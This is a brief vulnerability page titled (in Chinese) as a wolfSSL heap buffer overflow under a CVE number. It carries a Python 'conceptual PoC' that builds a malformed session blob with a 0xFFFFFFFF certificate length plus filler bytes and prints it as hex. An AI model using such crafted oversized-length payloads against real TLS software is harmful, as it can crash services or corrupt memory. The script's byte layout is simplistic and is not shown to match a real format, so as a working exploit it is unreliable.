CVE-2026-2646 wolfSSL堆缓冲区溢出漏洞

import struct # This is a conceptual PoC to demonstrate the vulnerability trigger. # It crafts a malicious SSL session structure with an oversized certificate length. def create_malformed_session(): header = b'\x00\x00' # Dummy header # Set an arbitrarily large length for the certificate to trigger overflow # Normally this would be a reasonable size, but here we use 0xFFFFFFFF malicious_cert_len = struct.pack('>I', 0xFFFFFFFF) # Construct the payload # Structure: [Header][Malicious Cert Length][Dummy Data...] payload = header + malicious_cert_len + b'A' * 100 print("Generated malformed session payload.") print(f"Payload hex: {payload.hex()}") return payload if __name__ == "__main__": create_malformed_session()
